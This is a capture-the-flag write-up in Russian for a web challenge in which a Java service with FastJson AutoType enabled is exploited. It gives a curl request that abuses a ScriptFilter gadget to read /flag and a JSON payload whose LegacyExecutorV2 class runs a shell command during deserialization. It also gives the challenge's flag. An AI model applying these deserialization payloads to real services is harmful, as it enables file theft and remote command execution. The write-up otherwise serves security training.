DocMerge

Web hard+

DocMerge склеивает документы по JSON-шаблону. Сервис использует Java 17, Spring Boot и FastJson 1.2.83 с включённым AutoType. Самописный фильтр ограничивает классы, которые можно создать при десериализации. Ищем разрешённый плагин, способный прочитать `/flag`. ## Решение Запрашиваем `/api/plugins`. В реестре три интересных класса из `com.docmerge.plugins`: активные `ScriptFilter` и `LegacyExecutorV2`, а также отключённый `LegacyExecutor`. Тело `POST /api/merge` проходит через `JSON.parseObject(body, MergeJob.class, Feature.SupportAutoType)`. Ошибки фильтра возвращаются клиенту, поэтому отправляем три запроса вида `{"@type":"<имя класса>"}` и сравниваем ответы: | Класс | Ответ фильтра | Вывод | |---|---|---| | `java.lang.Runtime` | `exact denylist match` | Есть запрет по точному имени | | `com.docmerge.plugins.NoSuchPlugin` | Пакет разрешён, класс не найден | Имя из пакета `com.docmerge.plugins` проходит фильтр | | `java.io.File` | `outside allowlist` | Чужие пакеты отсекаются | ### Чтение через ScriptFilter `ScriptFilter` вызывает через reflection публичный статический метод с аргументом `String`. Его список запретов закрывает `Runtime` и `ProcessBuilder`, но пропускает `com.docmerge.util.PreviewUtil.readFile(String)`. Создаём этот фильтр внутри задания: ```bash curl -sS http://:18112/api/merge \ -H 'Content-Type: application/json' \ --data '{ "title":"quarterly-report", "documents":["doc one","doc two"], "renderer":{"template":"default","filters":[ {"@type":"com.docmerge.plugins.ScriptFilter", "className":"com.docmerge.util.PreviewUtil", "methodName":"readFile", "argument":"/flag"} ]} }' ``` Класс разрешён, метод доступен. В поле `render` появляется `filter output:` с содержимым `/flag`. ### Выполнение через LegacyExecutorV2 `LegacyExecutorV2` наследует `LegacyExecutor`, но denylist сравнивает имена через `equals`. Имя наследника не совпадает с запретом, пакет при этом разрешён. Унаследованный `setCommand` выполняет shell-команду уже при десериализации: ```json { "title":"t", "renderer":{"filters":[ {"@type":"com.docmerge.plugins.LegacyExecutorV2","command":"cat /flag"} ]} } ``` Этот запрос к тому же `/api/merge` возвращает флаг как `legacy output`. Оба пути используют доступные классы приложения. Фильтр разрешает классы пакета `com.docmerge.plugins`, блокируя лишь отдельные имена. `ScriptFilter` и `LegacyExecutorV2` под эти запреты не попадают. [Солвер](solve/solve.py) проверяет плагины и фильтр, затем пробует `ScriptFilter`, а при отсутствии флага переходит к `LegacyExecutorV2`. ## Флаг `CAPLAG{4ut0typ3_d3s3r14l1z3_byp4ss}`